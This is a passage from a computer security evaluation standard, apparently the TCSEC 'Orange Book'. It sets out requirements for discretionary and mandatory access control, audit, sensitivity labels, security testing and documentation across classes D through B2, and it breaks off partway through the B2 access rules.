number of subdivisions known as classes. The classes are also ordered in a
hierarchical manner with systems representative of division C and lower
classes of division B being characterized by the set of computer security
mechanisms that they possess. Assurance of correct and complete design and
implementation for these systems is gained mostly through testing of the
security- relevant portions of the system. The security-relevant portions of
a system are referred to throughout this document as the Trusted Computing
Base (TCB). Systems representative of higher classes in division B and
division A derive their security attributes more from their design and
implementation structure. Increased assurance that the required features are
operative, correct, and tamperproof under all circumstances is gained through
progressively more rigorous analysis during the design process.
Within each class, four major sets of criteria are addressed. The first three
represent features necessary to satisfy the broad control objectives of
Security Policy, Accountability, and Assurance that are discussed in Part II,
Section 5. The fourth set, Documentation, describes the type of written
evidence in the form of user guides, manuals, and the test and design
documentation required for each class.
A reader using this publication for the first time may find it helpful to
first read Part II, before continuing on with Part I.
PART I: THE CRITERIA
Highlighting (UPPERCASE) is used in Part I to indicate criteria not contained
in a lower class or changes and additions to already defined criteria. Where
there is no highlighting, requirements have been carried over from lower
classes without addition or modification.
1.0 DIVISION D: MINIMAL PROTECTION
This division contains only one class. It is reserved for those systems that
have been evaluated but that fail to meet the requirements for a higher
evaluation class.
2.0 DIVISION C: DISCRETIONARY PROTECTION
Classes in this division provide for discretionary (need-to-know) protection
and, through the inclusion of audit capabilities, for accountability of
subjects and the actions they initiate.
2.1 CLASS (C1): DISCRETIONARY SECURITY PROTECTION
The Trusted Computing Base (TCB) of a class (C1) system nominally satisfies
the discretionary security requirements by providing separation of users and
data. It incorporates some form of credible controls capable of enforcing
access limitations on an individual basis, i.e., ostensibly suitable for
allowing users to be able to protect project or private information and to
keep other users from accidentally reading or destroying their data. The
class (C1) environment is expected to be one of cooperating users processing
data at the same level(s) of sensitivity. The following are minimal
requirements for systems assigned a class (C1) rating:
2.1.1 SECURITY POLICY
2.1.1.1 Discretionary Access Control
THE TCB SHALL DEFINE AND CONTROL ACCESS BETWEEN NAMED USERS AND
NAMED OBJECTS (E.G., FILES AND PROGRAMS) IN THE ADP SYSTEM. THE
ENFORCEMENT MECHANISM (E.G., SELF/GROUP/PUBLIC CONTROLS, ACCESS
CONTROL LISTS) SHALL ALLOW USERS TO SPECIFY AND CONTROL SHARING
OF THOSE OBJECTS BY NAMED INDIVIDUALS OR DEFINED GROUPS OR BOTH.
2.1.2 ACCOUNTABILITY
2.1.2.1 Identification and Authentication
THE TCB SHALL REQUIRE USERS TO IDENTIFY THEMSELVES TO IT BEFORE
BEGINNING TO PERFORM ANY OTHER ACTIONS THAT THE TCB IS EXPECTED
TO MEDIATE. FURTHERMORE, THE TCB SHALL USE A PROTECTED
MECHANISM (E.G., PASSWORDS) TO AUTHENTICATE THE USER'S IDENTITY.
THE TCB SHALL PROTECT AUTHENTICATION DATA SO THAT IT CANNOT BE
ACCESSED BY ANY UNAUTHORIZED USER.
2.1.3 ASSURANCE
2.1.3.1 Operational Assurance
2.1.3.1.1 System Architecture
THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION
THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING
(E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES).
RESOURCES CONTROLLED BY THE TCB MAY BE A DEFINED SUBSET
OF THE SUBJECTS AND OBJECTS IN THE ADP SYSTEM.
2.1.3.1.2 System Integrity
HARDWARE AND/OR SOFTWARE FEATURES SHALL BE PROVIDED THAT
CAN BE USED TO PERIODICALLY VALIDATE THE CORRECT OPERATION
OF THE ON-SITE HARDWARE AND FIRMWARE ELEMENTS OF THE TCB.
2.1.3.2 Life-Cycle Assurance
2.1.3.2.1 Security Testing
THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED
AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION.
TESTING SHALL BE DONE TO ASSURE THAT THERE ARE NO OBVIOUS
WAYS FOR AN UNAUTHORIZED USER TO BYPASS OR OTHERWISE
DEFEAT THE SECURITY PROTECTION MECHANISMS OF THE TCB.
(SEE THE SECURITY TESTING GUIDELINES.)
2.1.4 DOCUMENTATION
2.1.4.1 Security Features User's Guide
A SINGLE SUMMARY, CHAPTER, OR MANUAL IN USER DOCUMENTATION
SHALL DESCRIBE THE PROTECTION MECHANISMS PROVIDED BY THE TCB,
GUIDELINES ON THEIR USE, AND HOW THEY INTERACT WITH ONE ANOTHER.
2.1.4.2 Trusted Facility Manual
A MANUAL ADDRESSED TO THE ADP SYSTEM ADMINISTRATOR SHALL
PRESENT CAUTIONS ABOUT FUNCTIONS AND PRIVILEGES THAT SHOULD BE
CONTROLLED WHEN RUNNING A SECURE FACILITY.
2.1.4.3 Test Documentation
THE SYSTEM DEVELOPER SHALL PROVIDE TO THE EVALUATORS A DOCUMENT
THAT DESCRIBES THE TEST PLAN AND RESULTS OF THE SECURITY
MECHANISMS' FUNCTIONAL TESTING.
2.1.4.4 Design Documentation
DOCUMENTATION SHALL BE AVAILABLE THAT PROVIDES A DESCRIPTION OF
THE MANUFACTURER'S PHILOSOPHY OF PROTECTION AND AN EXPLANATION
OF HOW THIS PHILOSOPHY IS TRANSLATED INTO THE TCB. IF THE TCB
IS COMPOSED OF DISTINCT MODULES, THE INTERFACES BETWEEN THESE
MODULES SHALL BE DESCRIBED.
2.2 CLASS (C2): CONTROLLED ACCESS PROTECTION
Systems in this class enforce a more finely grained discretionary access
control than (C1) systems, making users individually accountable for their
actions through login procedures, auditing of security-relevant events, and
resource isolation. The following are minimal requirements for systems
assigned a class (C2) rating:
2.2.1 SECURITY POLICY
2.2.1.1 Discretionary Access Control
The TCB shall define and control access between named users and
named objects (e.g., files and programs) in the ADP system. The
enforcement mechanism (e.g., self/group/public controls, access
control lists) shall allow users to specify and control sharing
of those objects by named individuals, or defined groups OF
INDIVIDUALS, or by both. THE DISCRETIONARY ACCESS CONTROL
MECHANISM SHALL, EITHER BY EXPLICIT USER ACTION OR BY DEFAULT,
PROVIDE THAT OBJECTS ARE PROTECTED FROM UNAUTHORIZED ACCESS.
THESE ACCESS CONTROLS SHALL BE CAPABLE OF INCLUDING OR EXCLUDING
ACCESS TO THE GRANULARITY OF A SINGLE USER. ACCESS PERMISSION
TO AN OBJECT BY USERS NOT ALREADY POSSESSING ACCESS PERMISSION
SHALL ONLY BE ASSIGNED BY AUTHORIZED USERS.
2.2.1.2 Object Reuse
WHEN A STORAGE OBJECT IS INITIALLY ASSIGNED, ALLOCATED, OR
REALLOCATED TO A SUBJECT FROM THE TCB'S POOL OF UNUSED STORAGE
OBJECTS, THE TCB SHALL ASSURE THAT THE OBJECT CONTAINS NO DATA
FOR WHICH THE SUBJECT IS NOT AUTHORIZED.
2.2.2 ACCOUNTABILITY
2.2.2.1 Identification and Authentication
The TCB shall require users to identify themselves to it before
beginning to perform any other actions that the TCB is expected
to mediate. Furthermore, the TCB shall use a protected
mechanism (e.g., passwords) to authenticate the user's identity.
The TCB shall protect authentication data so that it cannot be
accessed by any unauthorized user. THE TCB SHALL BE ABLE TO
ENFORCE INDIVIDUAL ACCOUNTABILITY BY PROVIDING THE CAPABILITY TO
UNIQUELY IDENTIFY EACH INDIVIDUAL ADP SYSTEM USER. THE TCB
SHALL ALSO PROVIDE THE CAPABILITY OF ASSOCIATING THIS IDENTITY
WITH ALL AUDITABLE ACTIONS TAKEN BY THAT INDIVIDUAL.
2.2.2.2 Audit
THE TCB SHALL BE ABLE TO CREATE, MAINTAIN, AND PROTECT FROM
MODIFICATION OR UNAUTHORIZED ACCESS OR DESTRUCTION AN AUDIT
TRAIL OF ACCESSES TO THE OBJECTS IT PROTECTS. THE AUDIT DATA
SHALL BE PROTECTED BY THE TCB SO THAT READ ACCESS TO IT IS
LIMITED TO THOSE WHO ARE AUTHORIZED FOR AUDIT DATA. THE TCB
SHALL BE ABLE TO RECORD THE FOLLOWING TYPES OF EVENTS: USE OF
IDENTIFICATION AND AUTHENTICATION MECHANISMS, INTRODUCTION OF
OBJECTS INTO A USER'S ADDRESS SPACE (E.G., FILE OPEN, PROGRAM
INITIATION), DELETION OF OBJECTS, AND ACTIONS TAKEN BY
COMPUTER OPERATORS AND SYSTEM ADMINISTRATORS AND/OR SYSTEM
SECURITY OFFICERS. FOR EACH RECORDED EVENT, THE AUDIT RECORD
SHALL IDENTIFY: DATE AND TIME OF THE EVENT, USER, TYPE OF
EVENT, AND SUCCESS OR FAILURE OF THE EVENT. FOR
IDENTIFICATION/AUTHENTICATION EVENTS THE ORIGIN OF REQUEST
(E.G., TERMINAL ID) SHALL BE INCLUDED IN THE AUDIT RECORD. FOR
EVENTS THAT INTRODUCE AN OBJECT INTO A USER'S ADDRESS SPACE AND
FOR OBJECT DELETION EVENTS THE AUDIT RECORD SHALL INCLUDE THE
NAME OF THE OBJECT. THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE
TO SELECTIVELY AUDIT THE ACTIONS OF ANY ONE OR MORE USERS BASED
ON INDIVIDUAL IDENTITY.
2.2.3 ASSURANCE
2.2.3.1 Operational Assurance
2.2.3.1.1 System Architecture
The TCB shall maintain a domain for its own execution
that protects it from external interference or tampering
(e.g., by modification of its code or data structures).
Resources controlled by the TCB may be a defined subset
of the subjects and objects in the ADP system. THE TCB
SHALL ISOLATE THE RESOURCES TO BE PROTECTED SO THAT THEY
ARE SUBJECT TO THE ACCESS CONTROL AND AUDITING
REQUIREMENTS.
2.2.3.1.2 System Integrity
Hardware and/or software features shall be provided that
can be used to periodically validate the correct operation
of the on-site hardware and firmware elements of the TCB.
2.2.3.2 Life-Cycle Assurance
2.2.3.2.1 Security Testing
The security mechanisms of the ADP system shall be tested
and found to work as claimed in the system documentation.
Testing shall be done to assure that there are no obvious
ways for an unauthorized user to bypass or otherwise
defeat the security protection mechanisms of the TCB.
TESTING SHALL ALSO INCLUDE A SEARCH FOR OBVIOUS FLAWS THAT
WOULD ALLOW VIOLATION OF RESOURCE ISOLATION, OR THAT WOULD
PERMIT UNAUTHORIZED ACCESS TO THE AUDIT OR AUTHENTICATION
DATA. (See the Security Testing guidelines.)
2.2.4 DOCUMENTATION
2.2.4.1 Security Features User's Guide
A single summary, chapter, or manual in user documentation
shall describe the protection mechanisms provided by the TCB,
guidelines on their use, and how they interact with one another.
2.2.4.2 Trusted Facility Manual
A manual addressed to the ADP system administrator shall
present cautions about functions and privileges that should be
controlled when running a secure facility. THE PROCEDURES FOR
EXAMINING AND MAINTAINING THE AUDIT FILES AS WELL AS THE
DETAILED AUDIT RECORD STRUCTURE FOR EACH TYPE OF AUDIT EVENT
SHALL BE GIVEN.
2.2.4.3 Test Documentation
The system developer shall provide to the evaluators a document
that describes the test plan and results of the security
mechanisms' functional testing.
2.2.4.4 Design Documentation
Documentation shall be available that provides a description of
the manufacturer's philosophy of protection and an explanation
of how this philosophy is translated into the TCB. If the TCB
is composed of distinct modules, the interfaces between these
modules shall be described.
3.0 DIVISION B: MANDATORY PROTECTION
The notion of a TCB that preserves the integrity of sensitivity labels and
uses them to enforce a set of mandatory access control rules is a major
requirement in this division. Systems in this division must carry the
sensitivity labels with major data structures in the system. The system
developer also provides the security policy model on which the TCB is based
and furnishes a specification of the TCB. Evidence must be provided to
demonstrate that the reference monitor concept has been implemented.
3.1 CLASS (B1): LABELED SECURITY PROTECTION
Class (B1) systems require all the features required for class (C2). In
addition, an informal statement of the security policy model, data labeling,
and mandatory access control over named subjects and objects must be present.
The capability must exist for accurately labeling exported information. Any
flaws identified by testing must be removed. The following are minimal
requirements for systems assigned a class (B1) rating:
3.1.1 SECURITY POLICY
3.1.1.1 Discretionary Access Control
The TCB shall define and control access between named users and
named objects (e.g., files and programs) in the ADP system.
The enforcement mechanism (e.g., self/group/public controls,
access control lists) shall allow users to specify and control
sharing of those objects by named individuals, or defined groups
of individuals, or by both. The discretionary access control
mechanism shall, either by explicit user action or by default,
provide that objects are protected from unauthorized access.
These access controls shall be capable of including or excluding
access to the granularity of a single user. Access permission
to an object by users not already possessing access permission
shall only be assigned by authorized users.
3.1.1.2 Object Reuse
When a storage object is initially assigned, allocated, or
reallocated to a subject from the TCB's pool of unused storage
objects, the TCB shall assure that the object contains no data
for which the subject is not authorized.
3.1.1.3 Labels
SENSITIVITY LABELS ASSOCIATED WITH EACH SUBJECT AND STORAGE
OBJECT UNDER ITS CONTROL (E.G., PROCESS, FILE, SEGMENT, DEVICE)
SHALL BE MAINTAINED BY THE TCB. THESE LABELS SHALL BE USED AS
THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS. IN ORDER TO
IMPORT NON-LABELED DATA, THE TCB SHALL REQUEST AND RECEIVE FROM
AN AUTHORIZED USER THE SECURITY LEVEL OF THE DATA, AND ALL SUCH
ACTIONS SHALL BE AUDITABLE BY THE TCB.
3.1.1.3.1 Label Integrity
SENSITIVITY LABELS SHALL ACCURATELY REPRESENT SECURITY
LEVELS OF THE SPECIFIC SUBJECTS OR OBJECTS WITH WHICH THEY
ARE ASSOCIATED. WHEN EXPORTED BY THE TCB, SENSITIVITY
LABELS SHALL ACCURATELY AND UNAMBIGUOUSLY REPRESENT THE
INTERNAL LABELS AND SHALL BE ASSOCIATED WITH THE
INFORMATION BEING EXPORTED.
3.1.1.3.2 Exportation of Labeled Information
THE TCB SHALL DESIGNATE EACH COMMUNICATION CHANNEL AND
I/O DEVICE AS EITHER SINGLE-LEVEL OR MULTILEVEL. ANY
CHANGE IN THIS DESIGNATION SHALL BE DONE MANUALLY AND
SHALL BE AUDITABLE BY THE TCB. THE TCB SHALL MAINTAIN
AND BE ABLE TO AUDIT ANY CHANGE IN THE CURRENT SECURITY
LEVEL ASSOCIATED WITH A SINGLE-LEVEL COMMUNICATION
CHANNEL OR I/O DEVICE.
3.1.1.3.2.1 Exportation to Multilevel Devices
WHEN THE TCB EXPORTS AN OBJECT TO A MULTILEVEL I/O
DEVICE, THE SENSITIVITY LABEL ASSOCIATED WITH THAT
OBJECT SHALL ALSO BE EXPORTED AND SHALL RESIDE ON
THE SAME PHYSICAL MEDIUM AS THE EXPORTED
INFORMATION AND SHALL BE IN THE SAME FORM
(I.E., MACHINE-READABLE OR HUMAN-READABLE FORM).
WHEN THE TCB EXPORTS OR IMPORTS AN OBJECT OVER A
MULTILEVEL COMMUNICATION CHANNEL, THE PROTOCOL
USED ON THAT CHANNEL SHALL PROVIDE FOR THE
UNAMBIGUOUS PAIRING BETWEEN THE SENSITIVITY LABELS
AND THE ASSOCIATED INFORMATION THAT IS SENT OR
RECEIVED.
3.1.1.3.2.2 Exportation to Single-Level Devices
SINGLE-LEVEL I/O DEVICES AND SINGLE-LEVEL
COMMUNICATION CHANNELS ARE NOT REQUIRED TO
MAINTAIN THE SENSITIVITY LABELS OF THE INFORMATION
THEY PROCESS. HOWEVER, THE TCB SHALL INCLUDE A
MECHANISM BY WHICH THE TCB AND AN AUTHORIZED USER
RELIABLY COMMUNICATE TO DESIGNATE THE SINGLE
SECURITY LEVEL OF INFORMATION IMPORTED OR EXPORTED
VIA SINGLE-LEVEL COMMUNICATION CHANNELS OR I/O
DEVICES.
3.1.1.3.2.3 Labeling Human-Readable Output
THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE TO
SPECIFY THE PRINTABLE LABEL NAMES ASSOCIATED WITH
EXPORTED SENSITIVITY LABELS. THE TCB SHALL MARK
THE BEGINNING AND END OF ALL HUMAN-READABLE, PAGED,
HARDCOPY OUTPUT (E.G., LINE PRINTER OUTPUT) WITH
HUMAN-READABLE SENSITIVITY LABELS THAT PROPERLY*
REPRESENT THE SENSITIVITY OF THE OUTPUT. THE TCB
SHALL, BY DEFAULT, MARK THE TOP AND BOTTOM OF EACH
PAGE OF HUMAN-READABLE, PA
GED, HARDCOPY OUTPUT
(E.G., LINE PRINTER OUTPUT) WITH HUMAN-READABLE
SENSITIVITY LABELS THAT PROPERLY* REPRESENT THE
OVERALL SENSITIVITY OF THE OUTPUT OR THAT PROPERLY*
REPRESENT THE SENSITIVITY OF THE INFORMATION ON THE
PAGE. THE TCB SHALL, BY DEFAULT AND IN AN
APPROPRIATE MANNER, MARK OTHER FORMS OF HUMAN-
READABLE OUTPUT (E.G., MAPS, GRAPHICS) WITH HUMAN-
READABLE SENSITIVITY LABELS THAT PROPERLY*
REPRESENT THE SENSITIVITY OF THE OUTPUT. ANY
OVERRIDE OF THESE MARKING DEFAULTS SHALL BE
AUDITABLE BY THE TCB.
_____________________________________________________________
* THE HIERARCHICAL CLASSIFICATION COMPONENT IN HUMAN-READABLE
SENSITIVITY LABELS SHALL BE EQUAL TO THE GREATEST
HIERARCHICAL CLASSIFICATION OF ANY OF THE INFORMATION IN THE
OUTPUT THAT THE LABELS REFER TO; THE NON-HIERARCHICAL
CATEGORY COMPONENT SHALL INCLUDE ALL OF THE NON-HIERARCHICAL
CATEGORIES OF THE INFORMATION IN THE OUTPUT THE LABELS REFER
TO, BUT NO OTHER NON-HIERARCHICAL CATEGORIES.
_____________________________________________________________
3.1.1.4 Mandatory Access Control
THE TCB SHALL ENFORCE A MANDATORY ACCESS CONTROL POLICY OVER
ALL SUBJECTS AND STORAGE OBJECTS UNDER ITS CONTROL (E.G.,
PROCESSES, FILES, SEGMENTS, DEVICES). THESE SUBJECTS AND
OBJECTS SHALL BE ASSIGNED SENSITIVITY LABELS THAT ARE A
COMBINATION OF HIERARCHICAL CLASSIFICATION LEVELS AND
NON-HIERARCHICAL CATEGORIES, AND THE LABELS SHALL BE USED AS
THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS. THE TCB
SHALL BE ABLE TO SUPPORT TWO OR MORE SUCH SECURITY LEVELS.
(SEE THE MANDATORY ACCESS CONTROL GUIDELINES.) THE FOLLOWING
REQUIREMENTS SHALL HOLD FOR ALL ACCESSES BETWEEN SUBJECTS AND
OBJECTS CONTROLLED BY THE TCB: A SUBJECT CAN READ AN OBJECT
ONLY IF THE HIERARCHICAL CLASSIFICATION IN THE SUBJECT'S
SECURITY LEVEL IS GREATER THAN OR EQUAL TO THE HIERARCHICAL
CLASSIFICATION IN THE OBJECT'S SECURITY LEVEL AND THE NON-
HIERARCHICAL CATEGORIES IN THE SUBJECT'S SECURITY LEVEL INCLUDE
ALL THE NON-HIERARCHICAL CATEGORIES IN THE OBJECT'S SECURITY
LEVEL. A SUBJECT CAN WRITE AN OBJECT ONLY IF THE HIERARCHICAL
CLASSIFICATION IN THE SUBJECT'S SECURITY LEVEL IS LESS THAN OR
EQUAL TO THE HIERARCHICAL CLASSIFICATION IN THE OBJECT'S
SECURITY LEVEL AND ALL THE NON-HIERARCHICAL CATEGORIES IN THE
SUBJECT'S SECURITY LEVEL ARE INCLUDED IN THE NON- HIERARCHICAL
CATEGORIES IN THE OBJECT'S SECURITY LEVEL.
3.1.2 ACCOUNTABILITY
3.1.2.1 Identification and Authentication
The TCB shall require users to identify themselves to it before
beginning to perform any other actions that the TCB is expected
to mediate. Furthermore, the TCB shall MAINTAIN AUTHENTICATION
DATA THAT INCLUDES INFORMATION FOR VERIFYING THE IDENTITY OF
INDIVIDUAL USERS (E.G., PASSWORDS) AS WELL AS INFORMATION FOR
DETERMINING THE CLEARANCE AND AUTHORIZATIONS OF INDIVIDUAL
USERS. THIS DATA SHALL BE USED BY THE TCB TO AUTHENTICATE the
user's identity AND TO DETERMINE THE SECURITY LEVEL AND
AUTHORIZATIONS OF SUBJECTS THAT MAY BE CREATED TO ACT ON BEHALF
OF THE INDIVIDUAL USER. The TCB shall protect authentication
data so that it cannot be accessed by any unauthorized user.
The TCB shall be able to enforce individual accountability by
providing the capability to uniquely identify each individual
ADP system user. The TCB shall also provide the capability of
associating this identity with all auditable actions taken by
that individual.
3.1.2.2 Audit
The TCB shall be able to create, maintain, and protect from
modification or unauthorized access or destruction an audit
trail of accesses to the objects it protects. The audit data
shall be protected by the TCB so that read access to it is
limited to those who are authorized for audit data. The TCB
shall be able to record the following types of events: use of
identification and authentication mechanisms, introduction of
objects into a user's address space (e.g., file open, program
initiation), deletion of objects, and actions taken by computer
operators and system administrators and/or system security
officers. THE TCB SHALL ALSO BE ABLE TO AUDIT ANY OVERRIDE OF
HUMAN-READABLE OUTPUT MARKINGS. FOR each recorded event, the
audit record shall identify: date and time of the event, user,
type of event, and success or failure of the event. For
identification/authentication events the origin of request
(e.g., terminal ID) shall be included in the audit record.
For events that introduce an object into a user's address space
and for object deletion events the audit record shall include
the name of the object AND THE OBJECT'S SECURITY LEVEL. The
ADP system administrator shall be able to selectively audit the
actions of any one or more users based on individual identity
AND/OR OBJECT SECURITY LEVEL.
3.1.3 ASSURANCE
3.1.3.1 Operational Assurance
3.1.3.1.1 System Architecture
The TCB shall maintain a domain for its own execution
that protects it from external interference or tampering
(e.g., by modification of its code or data structures).
Resources controlled by the TCB may be a defined subset
of the subjects and objects in the ADP system. THE TCB
SHALL MAINTAIN PROCESS ISOLATION THROUGH THE PROVISION OF
DISTINCT ADDRESS SPACES UNDER ITS CONTROL. The TCB shall
isolate the resources to be protected so that they are
subject to the access control and auditing requirements.
3.1.3.1.2 System Integrity
Hardware and/or software features shall be provided that
can be used to periodically validate the correct operation
of the on-site hardware and firmware elements of the TCB.
3.1.3.2 Life-Cycle Assurance
3.1.3.2.1 Security Testing
THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED
AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION.
A TEAM OF INDIVIDUALS WHO THOROUGHLY UNDERSTAND THE
SPECIFIC IMPLEMENTATION OF THE TCB SHALL SUBJECT ITS
DESIGN DOCUMENTATION, SOURCE CODE, AND OBJECT CODE TO
THOROUGH ANALYSIS AND TESTING. THEIR OBJECTIVES SHALL BE:
TO UNCOVER ALL DESIGN AND IMPLEMENTATION FLAWS THAT WOULD
PERMIT A SUBJECT EXTERNAL TO THE TCB TO READ, CHANGE, OR
DELETE DATA NORMALLY DENIED UNDER THE MANDATORY OR
DISCRETIONARY SECURITY POLICY ENFORCED BY THE TCB; AS WELL
AS TO ASSURE THAT NO SUBJECT (WITHOUT AUTHORIZATION TO DO
SO) IS ABLE TO CAUSE THE TCB TO ENTER A STATE SUCH THAT
IT IS UNABLE TO RESPOND TO COMMUNICATIONS INITIATED BY
OTHER USERS. ALL DISCOVERED FLAWS SHALL BE REMOVED OR
NEUTRALIZED AND THE TCB RETESTED TO DEMONSTRATE THAT THEY
HAVE BEEN ELIMINATED AND THAT NEW FLAWS HAVE NOT BEEN
INTRODUCED. (SEE THE SECURITY TESTING GUIDELINES.)
3.1.3.2.2 Design Specification and Verification
AN INFORMAL OR FORMAL MODEL OF THE SECURITY POLICY
SUPPORTED BY THE TCB SHALL BE MAINTAINED THAT IS SHOWN TO
BE CONSISTENT WITH ITS AXIOMS.
3.1.4 DOCUMENTATION
3.1.4.1 Security Features User's Guide
A single summary, chapter, or manual in user documentation
shall describe the protection mechanisms provided by the TCB,
guidelines on their use, and how they interact with one another.
3.1.4.2 Trusted Facility Manual
A manual addressed to the ADP system administrator shall
present cautions about functions and privileges that should be
controlled when running a secure facility. The procedures for
examining and maintaining the audit files as well as the
detailed audit record structure for each type of audit event
shall be given. THE MANUAL SHALL DESCRIBE THE OPERATOR AND
ADMINISTRATOR FUNCTIONS RELATED TO SECURITY, TO INCLUDE CHANGING
THE SECURITY CHARACTERISTICS OF A USER. IT SHALL PROVIDE
GUIDELINES ON THE CONSISTENT AND EFFECTIVE USE OF THE PROTECTION
FEATURES OF THE SYSTEM, HOW THEY INTERACT, HOW TO SECURELY
GENERATE A NEW TCB, AND FACILITY PROCEDURES, WARNINGS, AND
PRIVILEGES THAT NEED TO BE CONTROLLED IN ORDER TO OPERATE THE
FACILITY IN A SECURE MANNER.
3.1.4.3 Test Documentation
The system developer shall provide to the evaluators a document
that describes the test plan and results of the security
mechanisms' functional testing.
3.1.4.4 Design Documentation
Documentation shall be available that provides a description of
the manufacturer's philosophy of protection and an explanation
of how this philosophy is translated into the TCB. If the TCB
is composed of distinct modules, the interfaces between these
modules shall be described. AN INFORMAL OR FORMAL DESCRIPTION
OF THE SECURITY POLICY MODEL ENFORCED BY THE TCB SHALL BE
AVAILABLE AND AN EXPLANATION PROVIDED TO SHOW THAT IT IS
SUFFICIENT TO ENFORCE THE SECURITY POLICY. THE SPECIFIC TCB
PROTECTION MECHANISMS SHALL BE IDENTIFIED AND AN EXPLANATION
GIVEN TO SHOW THAT THEY SATISFY THE MODEL.
3.2 CLASS (B2): STRUCTURED PROTECTION
In class (B2) systems, the TCB is based on a clearly defined and documented
formal security policy model that requires the discretionary and mandatory
access control enforcement found in class (B1) systems be extended to all
subjects and objects in the ADP system. In addition, covert channels are
addressed. The TCB must be carefully structured into protection-critical and
non- protection-critical elements. The TCB interface is well-defined and the
TCB design and implementation enable it to be subjected to more thorough
testing and more complete review. Authentication mechanisms are strengthened,
trusted facility management is provided in the form of support for system
administrator and operator functions, and stringent configuration management
controls are imposed. The system is relatively resistant to penetration. The
following are minimal requirements for systems assigned a class (B2) rating:
3.2.1 SECURITY POLICY
3.2.1.1 Discretionary Access Control
The TCB shall define and control access between named users and
named objects (e.g., files and programs) in the ADP system.
The enforcement mechanism (e.g., self/group/public controls,
access control lists) shall allow users to specify and control
sharing of those objects by named individuals, or defined
groups of individuals, or by both. The discretionary access
control mechanism shall, either by explicit user action or by
default, provide that objects are protected from unauthorized
access. These access controls shall be capable of including
or excluding access to the granularity of a single user.
Access permission to an object by users not already possessing
access permission shall only be assigned by authorized users.
3.2.1.2 Object Reuse
When a storage object is initially assigned, allocated, or
reallocated to a subject from the TCB's pool of unused storage
objects, the TCB shall assure that the object contains no data
for which the subject is not authorized.
3.2.1.3 Labels
Sensitivity labels associated with each ADP SYSTEM RESOURCE
(E.G., SUBJECT, STORAGE OBJECT) THAT IS DIRECTLY OR INDIRECTLY
ACCESSIBLE BY SUBJECTS EXTERNAL TO THE TCB shall be maintained
by the TCB. These labels shall be used as the basis for
mandatory access control decisions. In order to import non-
labeled data, the TCB shall request and receive from an
authorized user the security level of the data, and all such
actions shall be auditable by the TCB.
3.2.1.3.1 Label Integrity
Sensitivity labels shall accurately represent security
levels of the specific subjects or objects with which
they are associated. When exported by the TCB,
sensitivity labels shall accurately and unambiguously
represent the internal labels and shall be associated
with the information being exported.
3.2.1.3.2 Exportation of Labeled Information
The TCB shall designate each communication channel and
I/O device as either single-level or multilevel. Any
change in this designation shall be done manually and
shall be auditable by the TCB. The TCB shall maintain
and be able to audit any change in the current security
level associated with a single-level communication
channel or I/O device.
3.2.1.3.2.1 Exportation to Multilevel Devices
When the TCB exports an object to a multilevel I/O
device, the sensitivity label associated with that
object shall also be exported and shall reside on
the same physical medium as the exported
information and shall be in the same form (i.e.,
machine-readable or human-readable form). When
the TCB exports or imports an object over a
multilevel communication channel, the protocol
used on that channel shall provide for the
unambiguous pairing between the sensitivity labels
and the associated information that is sent or
received.
3.2.1.3.2.2 Exportation to Single-Level Devices
Single-level I/O devices and single-level
communication channels are not required to
maintain the sensitivity labels of the
information they process. However, the TCB shall
include a mechanism by which the TCB and an
authorized user reliably communicate to designate
the single security level of information imported
or exported via single-level communication
channels or I/O devices.
3.2.1.3.2.3 Labeling Human-Readable Output
The ADP system administrator shall be able to
specify the printable label names associated with
exported sensitivity labels. The TCB shall mark
the beginning and end of all human-readable, paged,
hardcopy output (e.g., line printer output) with
human-readable sensitivity labels that properly*
represent the sensitivity of the output. The TCB
shall, by default, mark the top and bottom of each
page of human-readable, paged, hardcopy output
(e.g., line printer output) with human-readable
sensitivity labels that properly* represent the
overall sensitivity of the output or that
properly* represent the sensitivity of the
information on the page. The TCB shall, by
default and in an appropriate manner, mark other
forms of human-readable output (e.g., maps,
graphics) with human-readable sensitivity labels
that properly* represent the sensitivity of the
output. Any override of these marking defaults
shall be auditable by the TCB.
_____________________________________________________________
* The hierarchical classification component in human-readable
sensitivity labels shall be equal to the greatest
hierarchical classification of any of the information in the
output that the labels refer to; the non-hierarchical
category component shall include all of the non-hierarchical
categories of the information in the output the labels refer
to, but no other non-hierarchical categories.
_____________________________________________________________
3.2.1.3.3 Subject Sensitivity Labels
THE TCB SHALL IMMEDIATELY NOTIFY A TERMINAL USER OF EACH
CHANGE IN THE SECURITY LEVEL ASSOCIATED WITH THAT USER
DURING AN INTERACTIVE SESSION. A TERMINAL USER SHALL BE
ABLE TO QUERY THE TCB AS DESIRED FOR A DISPLAY OF THE
SUBJECT'S COMPLETE SENSITIVITY LABEL.
3.2.1.3.4 Device Labels
THE TCB SHALL SUPPORT THE ASSIGNMENT OF MINIMUM AND
MAXIMUM SECURITY LEVELS TO ALL ATTACHED PHYSICAL DEVICES.
THESE SECURITY LEVELS SHALL BE USED BY THE TCB TO ENFORCE
CONSTRAINTS IMPOSED BY THE PHYSICAL ENVIRONMENTS IN WHICH
THE DEVICES ARE LOCATED.
3.2.1.4 Mandatory Access Control
The TCB shall enforce a mandatory access control policy over
all RESOURCES (I.E., SUBJECTS, STORAGE OBJECTS, AND I/O DEVICES)
THAT ARE DIRECTLY OR INDIRECTLY ACCESSIBLE BY SUBJECTS EXTERNAL
TO THE TCB. These subjects and objects shall be assigned
sensitivity labels that are a combination of hierarchical
classification levels and non-hierarchical categories, and the
labels shall be used as the basis for mandatory access control
decisions. The TCB shall be able to support two or more such
security levels. (See the Mandatory Access Control guidelines.)
The following requirements shall hold for all accesses between
ALL SUBJECTS EXTERNAL TO THE TCB AND ALL OBJECTS DIRECTLY OR
INDIRECTLY ACCESSIBLE BY THESE SUBJECTS: A subject can read an
object only if the hierarchical classification in the subject's
security level is greater than or equal to the hierarchical
classification in the object's security level and the non-
hierarchical categories in the subject's security level include
all the non-hierarchical categories in the object's security
level. A subject can write an object only if the hierarchical
classification in the subject's security level is less than or
equal to the hierarchical classification in the object's
security level and all the non-hierarchical categories in the
